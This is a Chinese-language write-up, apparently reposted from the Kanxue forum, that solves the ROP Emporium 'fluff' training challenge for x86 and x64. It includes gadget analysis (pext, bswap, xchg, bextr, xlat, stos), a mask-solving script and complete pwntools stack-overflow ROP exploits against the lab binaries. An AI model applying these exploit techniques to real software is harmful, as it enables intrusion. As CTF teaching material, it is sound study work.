查看原文
其他

Writeup-ROP Emporium fluff

starrQWQ 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:starrQWQ


ROP Emporium的题曾经在2020年7月有过更新。比如,大多题目去掉了system函数,不能再获取shell,而是通过so中的print_file来获取flag;一些题目rop链可利用的指令也变了,更有挑战性,比如fluff 这道题。
 
当然有很多没变的,比如溢出点,32位程序偏移44字节,64位程序偏移40字节。



fluff32


信息收集

$ file fluff32fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped$ ldd fluff32 linux-gate.so.1 (0xf7f11000) libfluff32.so => ./libfluff32.so (0xf7f09000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000) /lib/ld-linux.so.2 (0xf7f12000)$ checksec libfluff32.so[*] '/home/starr/Documents/CProject/pwn/libfluff32.so' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled$ readelf -S fluff32 | grep .data [16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4


黑盒测试

$ ulimit -c unlimited$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'$ cyclic 200 > cyclic.txt$ ./fluff32 < cyclic.txtfluff by ROP Emporiumx86 You know changing these strings means I have to rewrite my solutions...> Thank you!Segmentation fault (core dumped) $ gdb ./fluff32 fluff32.core.9153...Core was generated by `./fluff32'.Program terminated with signal SIGSEGV, Segmentation fault.#0 0x6161616c in ?? ()pwndbg> cyclic -l 0x6161616c44

溢出点偏移44字节。


反汇编

$ objdump -d -M intel fluff32080483b0 <pwnme@plt>:080483d0 <print_file@plt>:08048506 <main>: 8048506: 8d 4c 24 04 lea ecx,[esp+0x4] 804850a: 83 e4 f0 and esp,0xfffffff0 ... 8048514: 83 ec 04 sub esp,0x4 8048517: e8 94 fe ff ff call 80483b0 <pwnme@plt> ...0804852a <usefulFunction>: 804852a: 55 push ebp 804852b: 89 e5 mov ebp,esp 804852d: 83 ec 08 sub esp,0x8 8048530: 83 ec 0c sub esp,0xc 8048533: 68 e0 85 04 08 push 0x80485e0 8048538: e8 93 fe ff ff call 80483d0 <print_file@plt> ...08048543 <questionableGadgets>: 8048543: 89 e8 mov eax,ebp 8048545: bb ba ba ba b0 mov ebx,0xb0bababa 804854a: c4 e2 62 f5 d0 pext edx,ebx,eax 804854f: b8 ef be ad de mov eax,0xdeadbeef 8048554: c3 ret 8048555: 86 11 xchg BYTE PTR [ecx],dl 8048557: c3 ret 8048558: 59 pop ecx 8048559: 0f c9 bswap ecx 804855b: c3 ret$ objdump -d -M intel libfluff32.so0000069d <pwnme>: ... 6ed: 6a 20 push 0x20 6ef: 6a 00 push 0x0 6f1: 8d 45 d8 lea eax,[ebp-0x28] 6f4: 50 push eax 6f5: e8 86 fe ff ff call 580 <memset@plt> ... 724: 68 00 02 00 00 push 0x200 729: 8d 45 d8 lea eax,[ebp-0x28] 72c: 50 push eax 72d: 6a 00 push 0x0 72f: e8 cc fd ff ff call 500 <read@plt> ...0000074f <print_file>: ... 772: ff 75 08 push DWORD PTR [ebp+0x8] 775: e8 f6 fd ff ff call 570 <fopen@plt> ...


ROP chain


乍一看这一题和write4那道题差不多,想着把”flag.txt“写进.data,但搜一下mov gadget的话,并没有以可控内存地址为目标的mov指令。
pwndbg> rop --grep "mov"...0x080484e7 : mov al, byte ptr [0xc9010804] ; ret0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret0x0804854f : mov eax, 0xdeadbeef ; ret0x08048423 : mov ebx, dword ptr [esp] ; ret0x0804837d : mov edi, 0x81000000 ; ret0x0804847a : mov esp, 0x27 ; add bl, dh ; ret

先搜下pop吧:
pwndbg> rop --grep "pop"...0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret0x080485bb : pop ebp ; ret0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x08048399 : pop ebx ; ret0x08048558 : pop ecx ; bswap ecx ; ret0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret0x080485ba : pop edi ; pop ebp ; ret0x080485b9 : pop esi ; pop edi ; pop ebp ; ret0x08048527 : popal ; cld ; ret

然后考虑怎么写字符串的问题。
 
其实除了mov还有很多指令可以利用,比如作者在questionableGadgets提供的xchg指令。
pwndbg> rop --grep "xchg"0x08048553 : faddp st(3) ; xchg byte ptr [ecx], dl ; ret0x08048552 : lodsd eax, dword ptr [esi] ; faddp st(3) ; xchg byte ptr [ecx], dl ; ret0x08048555 : xchg byte ptr [ecx], dl ; ret

0x08048555这条xchg指令交换了内存和寄存器的一个字节,可以代替mov指令。但要想成功利用,需要能够控制ecx和edx寄存器,让ecx存储.data段地址,edx存储字符串的字符。
 
刚刚搜索的pop gadget中,有一个pop ecx, 紧跟另一个指令BSWAP(Byte Swap),这个指令可以更改字节序,比如eax==0x11223344, 执行BSWAP eax后,eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。其实这个指令也是作者在questionableGadgets提供的~
 
Intel文档(https://www.felixcloutier.com/x86/bswap)截图:
 
最后要考虑怎么控制edx。在questionableGadgets的开头,mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax可以修改edx。

不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了


PEXT ( Parallel Bits Extract)这条指令根据掩码(第二个源操作数),将源寄存器中对应的bit放到目标寄存器中的低位,比如:
pext output(edx), source(ebx), mask(eax)output = pext(source, mask)ebx = 0xFFFFFFFFeax = b1111 0100->edx = 0x1F

Intel文档(https://www.felixcloutier.com/x86/pext截图:
 
刚刚搜索的pop gadget里,0x080485bb有pop ebp指令,然后需要写个脚本,求出正确的掩码(mov eax, ebp),满足以下条件:
"flag" == pext(0xb0bababa, mask)".txt" == pext(0xb0bababa, mask)

用位运算实现下面这段求解掩码的脚本:
def getMask(nValue, nOutput): # nOutput = pext(nValue, nMask) # eg. # nValue = 0xFF # nMask = 0xF4 # -> # nOutput = 0x1F nMask = 0; nLastBitFoundInValue = 1; # find the highest valid bit nInvalidBits = 0; for i in range(7): # ascii if (nOutput & (1 << i)) != 0: nInvalidBits = i for i in range(nInvalidBits + 1): while (nOutput & 1) != (nValue & 1): nLastBitFoundInValue += 1; if nLastBitFoundInValue == 33: # 4 Bytes return False; nValue = nValue >> 1 # found nOutput = nOutput >> 1 nValue = nValue >> 1 nMask |= 1 << (nLastBitFoundInValue - 1) nLastBitFoundInValue += 1 return nMask strEdx = "flag.txt"nValue = 0xb0bababa for c in strEdx: nMask = getMask(nValue, ord(c)) # print(hex(nMask))

最终的ROP链:
padding len 44 for i in range(len("flag.txt")) pGadgetPopEcx_bswap # 0x08048558 : pop ecx ; bswap ecx ; ret pDataSection + i # Big Endian pop to ecx pGadgetPopEbp # 0x080485bb : pop ebp ; ret nMask # getMask("flag.txt"[i]) pop to ebp pGadgetPext # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax pGadgetXchg # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data pPltPrintFile # 0x080483d0padding # 伪造的返回地址pDataSection


Exp

from pwn import * context.arch = "i386"context.bits = 32context.os = "linux"context.log_level = 'debug' def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; def getMask(nValue, nOutput): # nOutput = pext(nValue, nMask) # eg. # nValue = 0xFF # nMask = 0xF4 # -> # nOutput = 0x1F nMask = 0; nLastBitFoundInValue = 1; # find the highest valid bit nInvalidBits = 0; for i in range(7): # ascii if (nOutput & (1 << i)) != 0: nInvalidBits = i for i in range(nInvalidBits + 1): while (nOutput & 1) != (nValue & 1): nLastBitFoundInValue += 1; if nLastBitFoundInValue == 33: # 4 Bytes return False; nValue = nValue >> 1 # found nOutput = nOutput >> 1 nValue = nValue >> 1 nMask |= 1 << (nLastBitFoundInValue - 1) nLastBitFoundInValue += 1 return nMask nBufOverflowIndex = 44pPltPrintFile = 0x080483d0pDataSection = 0x0804a018pGadgetPopEcx_bswap = 0x08048558 # pop ecx ; bswap ecx ; retpGadgetPopEbp = 0x080485bb # pop ebp ; retpGadgetPext = 0x08048543 # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eaxpGadgetXchg = 0x08048555 # xchg byte ptr [ecx], dl ; ret 把字符写入.data # 1. paddingpayload = bytes("A" * nBufOverflowIndex, encoding = "ascii"); # 2. LoopstrEdx = "flag.txt"nValue = 0xb0bababafor i in range(len(strEdx)): nMask = getMask(nValue, ord(strEdx[i])) # print(hex(nMask)) # 2.1 write .data addr into ecx payload += p32(pGadgetPopEcx_bswap) # 0x08048558 : pop ecx ; bswap ecx ; ret payload += p32(pDataSection + i, endianness="big") # Big Endian pop to ecx # 2.2 write nMask into ebp payload += p32(pGadgetPopEbp) # 0x080485bb : pop ebp ; ret payload += p32(nMask) # getMask("flag.txt"[i]) pop to ebp payload += p32(pGadgetPext) # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax # 2.3 write "flag.txt" into .data payload += p32(pGadgetXchg) # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data # 3. print_file("flag.txt")payload += p32(pPltPrintFile) # 0x080483d0payload += bytes("B" * int(context.bits/8), encoding = "ascii"); # 伪造的返回地址payload += p32(pDataSection) io = getio("./fluff32") io.recvuntil(">") # # gdb.attach(io)# # pause()io.sendline(payload)print(io.recv(timeout=10))io.interactive() # [DEBUG] Received 0x2c bytes:# b'Thank you!\n'# b'ROPE{a_placeholder_32byte_flag!}\n'# Thank you!# ROPE{a_placeholder_32byte_flag!}




fluff


64位版本


信息收集


记录一下.data段的地址:
$ readelf -S fluff | grep .data [15] .rodata PROGBITS 00000000004006c0 000006c0  [23] .data             PROGBITS         0000000000601028  00001028


反汇编

$ objdump -d -M intel libfluff.so00000000000008aa <pwnme>: ... 8eb: 48 8d 45 e0 lea rax,[rbp-0x20] 8ef: ba 20 00 00 00 mov edx,0x20 8f4: be 00 00 00 00 mov esi,0x0 8f9: 48 89 c7 mov rdi,rax 8fc: e8 5f fe ff ff call 760 <memset@plt> ... 91e: 48 8d 45 e0 lea rax,[rbp-0x20] 922: ba 00 02 00 00 mov edx,0x200 927: 48 89 c6 mov rsi,rax 92a: bf 00 00 00 00 mov edi,0x0 92f: e8 3c fe ff ff call 770 <read@plt> read(stdin, rbp-0x20, 0x200) ...0000000000000943 <print_file>: 943: 55 push rbp 944: 48 89 e5 mov rbp,rsp 947: 48 83 ec 40 sub rsp,0x40 94b: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdi 94f: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0 956: 00 957: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38] 95b: 48 8d 35 f4 00 00 00 lea rsi,[rip+0xf4] # a56 <_fini+0x86> 962: 48 89 c7 mov rdi,rax 965: e8 36 fe ff ff call 7a0 <fopen@plt> ...$ objdump -d -M intel fluff0000000000400500 <pwnme@plt>:...0000000000400510 <print_file@plt>:...0000000000400607 <main>: ... 40060b: e8 f0 fe ff ff call 400500 <pwnme@plt>0000000000400617 <usefulFunction>: ... 40061b: bf c4 06 40 00 mov edi,0x4006c4 400620: e8 eb fe ff ff call 400510 <print_file@plt>0000000000400628 <questionableGadgets>: 400628: d7 xlat BYTE PTR ds:[rbx] 400629: c3 ret 40062a: 5a pop rdx 40062b: 59 pop rcx 40062c: 48 81 c1 f2 3e 00 00 add rcx,0x3ef2 400633: c4 e2 e8 f7 d9 bextr rbx,rcx,rdx 400638: c3 ret 400639: aa stos BYTE PTR es:[rdi],al 40063a: c3 ret 40063b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]


ROP chain


直接参考questionableGadgets吧,手动搜的话脑洞实在没有那么大~
 
首先注意到0x400639处的stos指令,它会逐字节地把al拷进rdi指向的内存,而且rdi自动递增。
 
通过搜索pop很容易找到pop rdi的指令,但是没有pop rax指令:
pwndbg> rop --grep "pop"...0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006a0 : pop r14 ; pop r15 ; ret0x00000000004006a2 : pop r15 ; ret0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400588 : pop rbp ; ret0x00000000004006a3 : pop rdi ; ret0x00000000004006a1 : pop rsi ; pop r15 ; ret0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

作者在questionableGadgets开头准备了xlat(Table Look-up Translation)指令来控制al:
 
Intel文档(https://bbs.pediy.com/thread-272054.htm):
 
 
其实就是把rbx看成数组取值:
al = byte ptr [rbx+al]

但又要控制al,好像死循环了,,,先忽略al,看看有没有办法操作rbx。
 
刚刚的rop工具又没有把usefulGadget提供的40062a处的pop rdx指令找出来,郁闷,,,这里有非常重要的BEXTR(Bit Filed Extract)指令,它可以改变rbx的值:
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;

Intel官方文档(https://www.felixcloutier.com/x86/bextr):
 
 
该指令和pext指令一样也有两个源操作数,可以从第一个源操作数中提取bits,第二个源操作数指定偏移和长度,举个例子:
bextr output, 0xd23aacda, 0x59Input : 11010010001110101010110011011010 = 0xd23aacda |-------| \ \ v |-------|Output: 00000000000000000000000101100110 = 0x00000166

我们需要利用bextr这个gadget使rbx存储”flag.txt“各个字节的地址,进而用xlat gadget使al存储各个字节。

flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。


梳理一下目前的rop链:
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret; 满足[rbx+al]这个地址存有目标字符,可以实现一个SetRbxToAddr函数rdxrcx 0x400628: xlat BYTE PTR ds:[rbx]; ret al保存目标字节,比如"f", 可以实现一个SetAlToByte函数 0x00000000004006a3 : pop rdi ; ret0x0000000000601028 .data地址 400639: stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt" rdi可以自动递增


调试分析


再回到al的问题,其实执行xlat时,只有al的初始值是不确定的,于是用脚本调试确认一下,同时试着搜索f:
# coding:utf-8from pwn import * context.arch = "amd64"context.bits = 64context.os = "linux" def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; nBufOverflowIndex = 0x28pPltPrintFile = 0x0000000000400510pGadgetBextrToSetRbx = 0x40062a pGadgetXlatToSetAl = 0x400628pGadgetPopRdi = 0x00000000004006a3 pGadgetStos = 0x400639pDataSection = 0x0000000000601028g_byAlWhenFirstXlat = 0x00 # 和xlat指令有关,这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop): rdx = ((2**6)<<8) | 0x00 # rcx: start 0, len 64 rcx = pTargetAddr rop.raw(pGadgetBextrToSetRbx) rop.raw(rdx) rop.raw(rcx - 0x3ef2) # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl): pTargetByteAddr = next(elf.search(byTarget)) pTargetRbx = pTargetByteAddr - byRealTimeAl setRbxToAddr(pTargetRbx, rop) rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff"io = getio(program)elf = ELF(program)rop = ROP(program) padding = b"A" * nBufOverflowIndex rop.raw(pGadgetPopRdi)rop.raw(pDataSection) strFlagTxt = "flag.txt"byRealTimeAl = g_byAlWhenFirstXlatc = strFlagTxt[0]setAlToByte(c, rop, elf, byRealTimeAl) payload = b"".join([ padding, rop.chain()]) io.recvuntil(">") gdb.attach(io)pause()io.sendline(payload)print(io.recv(timeout=10))io.interactive()

执行到xlatb时,AL初始值是0xb,而后续的al,其实就是”flag.txt“的各个字符,搜索前实时更新一下即可。
RAX 0xb !!!!!!!!!!!!!!!!!!!!!! RBX 0x0 RCX 0x0 RDX 0x0 RDI 0x1 RSI 0x7f4c211f17e3 (_IO_2_1_stdout_+131) ◂— 0x1f28c0000000000a /* '\n' */ R8 0xa R9 0x7f4c21605740 ◂— 0x7f4c21605740 R10 0x4 R11 0x246 R12 0x400520 (_start) ◂— xor ebp, ebp R13 0x7ffde43196a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x4141414141414141 ('AAAAAAAA')*RSP 0x7ffde43195d8 —▸ 0x7ffde431960a ◂— 0x7ffde431*RIP 0x400628 (questionableGadgets) ◂— xlatb ─────────[ DISASM ]─────────────── 0x40062a <questionableGadgets+2> pop rdx 0x40062b <questionableGadgets+3> pop rcx 0x40062c <questionableGadgets+4> add rcx, 0x3ef2 0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx 0x400638 <questionableGadgets+16> ret ► 0x400628 <questionableGadgets> xlatb 0x400629 <questionableGadgets+1> ret

执行xlatb指令后,gdb里验证一下, rax==‘f' , 即0x66,所以搜索逻辑也没问题:
*RAX 0x66 !!!!!!!!!!!!!!!!!!!!!! RBX 0x4003b9 ◂— add byte ptr [rax], al RCX 0x4003b9 ◂— add byte ptr [rax], al RDX 0x4000 ...─────────────────────────────[ DISASM ]───────────────────── 0x40062b <questionableGadgets+3> pop rcx 0x40062c <questionableGadgets+4> add rcx, 0x3ef2 0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx 0x400638 <questionableGadgets+16> ret 0x400628 <questionableGadgets> xlatb ► 0x400629 <questionableGadgets+1> ret <0x7ffc3bdc900a>

再次梳理一下rop链:
padding 溢出点0x28字节 pGadgetPopRdi 0x00000000004006a3 pop rdi ; ret rdi后面用不到,在循环之前就存好.data section地址pDataSection for c in "flag.txt": pGadgetBextrToSetRbx 0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret; 满足[rbx+al]==c,可以实现一个SetRbxToAddr函数 rdx bextr命令的掩码 rcx c的地址-0x3ef2 pGadgetXlatToSetAl 0x400628: xlat BYTE PTR ds:[rbx]; ret al保存目标字节c。可以实现一个SetAlToByte函数。注意payload里的al要实时更新 pGadgetStos 400639: stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt" rdi可以自动递增 pGadgetPopRdipDataSectionpPltPrintFile 0x0000000000400510 print_file("flag.txt")


Exp

# coding:utf-8from pwn import * context.arch = "amd64"context.bits = 64context.os = "linux" def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; nBufOverflowIndex = 0x28pPltPrintFile = 0x0000000000400510pGadgetBextrToSetRbx = 0x40062a # pop rdx; # pop rcx; # add rcx, 0x3ef2; # bextr rbx, rcx, rdx; # ret; # 满足[rbx+al]这个地址存有目标字符,可以用SetRbxToAddr函数实现pGadgetXlatToSetAl = 0x400628 # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] # al保存目标字节,比如"f", 可以用SetAlToByte函数实现pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; retpGadgetStos = 0x400639 # stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt"pDataSection = 0x0000000000601028 # .data地址g_byRealTimeAlWhenFirstXlat = 0xb # 和xlat指令有关这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop): rdx = ((2**6)<<8) | 0x00 # rcx: start 0, len 64 rcx = pTargetAddr rop.raw(pGadgetBextrToSetRbx) rop.raw(rdx) rop.raw(rcx - 0x3ef2) # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl): # 2.1 set rbx to addr pTargetByteAddr = next(elf.search(byTarget)) pTargetRbx = pTargetByteAddr - byRealTimeAl setRbxToAddr(pTargetRbx, rop) # 2.2 set al to the byte of "flag.txt" rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff"io = getio(program)elf = ELF(program)rop = ROP(program) # 1. buf overflow padding = b"A" * nBufOverflowIndex # 2. write "flag.txt" into .data section # 2.1 rdi not used laterrop.raw(pGadgetPopRdi)rop.raw(pDataSection) strFlagTxt = "flag.txt"byRealTimeAl = g_byRealTimeAlWhenFirstXlat # al的初始值for c in strFlagTxt: setAlToByte(c, rop, elf, byRealTimeAl) byRealTimeAl = ord(c) # 更新al rop.raw(pGadgetStos) # 4. print_file("flag.txt")rop.raw(pGadgetPopRdi)rop.raw(pDataSection)rop.raw(pPltPrintFile) payload = b"".join([ padding, rop.chain()]) io.recvuntil(">") # gdb.attach(io)# pause() io.sendline(payload)print(io.recv(timeout=10))io.interactive() # Thank you!# ROPE{a_placeholder_32byte_flag!}



参考资料


ROP Emporium 2020 fluff 32bit :: mishap — infosec is just finding mishaps
https://mishap.dev/posts/rop-emporium/

PEXT — Parallel Bits Extract (felixcloutier.com)
https://www.felixcloutier.com/x86/pext
 
XLAT指令_百度百科 (baidu.com)
https://baike.baidu.com/item/XLAT%E6%8C%87%E4%BB%A4/4144842

assembly - How does the BEXTR instruction in x86 work - Stack Overflow
https://stackoverflow.com/questions/70208751/how-does-the-bextr-instruction-in-x86-work

ROP Emporium - Fluff (x64) - blog.r0kithax.com
https://blog.r0kithax.com/ctf/infosec/2020/10/12/rop-emporium-fluff-x64.html

BEXTR — Bit Field Extract (felixcloutier.com)
https://www.felixcloutier.com/x86/bextr

XLAT/XLATB — Table Look-up Translation (felixcloutier.com)
https://bbs.pediy.com/thread-272054.htm




看雪ID:starrQWQ

https://bbs.pediy.com/user-home-845133.htm

*本文由看雪论坛 starrQWQ 原创,转载请注明来自看雪社区



# 往期推荐

1.APT28样本超详细分析

2.CVE-2016-0095提权漏洞学习笔记

3.java序列化与反序列化

4.CVE-2022-21999 Windows Print Spooler 权限提升漏洞分析

5.针对自动驾驶中交通灯识别的对抗性激光攻击

6.The House of Mind (FASTBIN METHOD) + PRIME






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存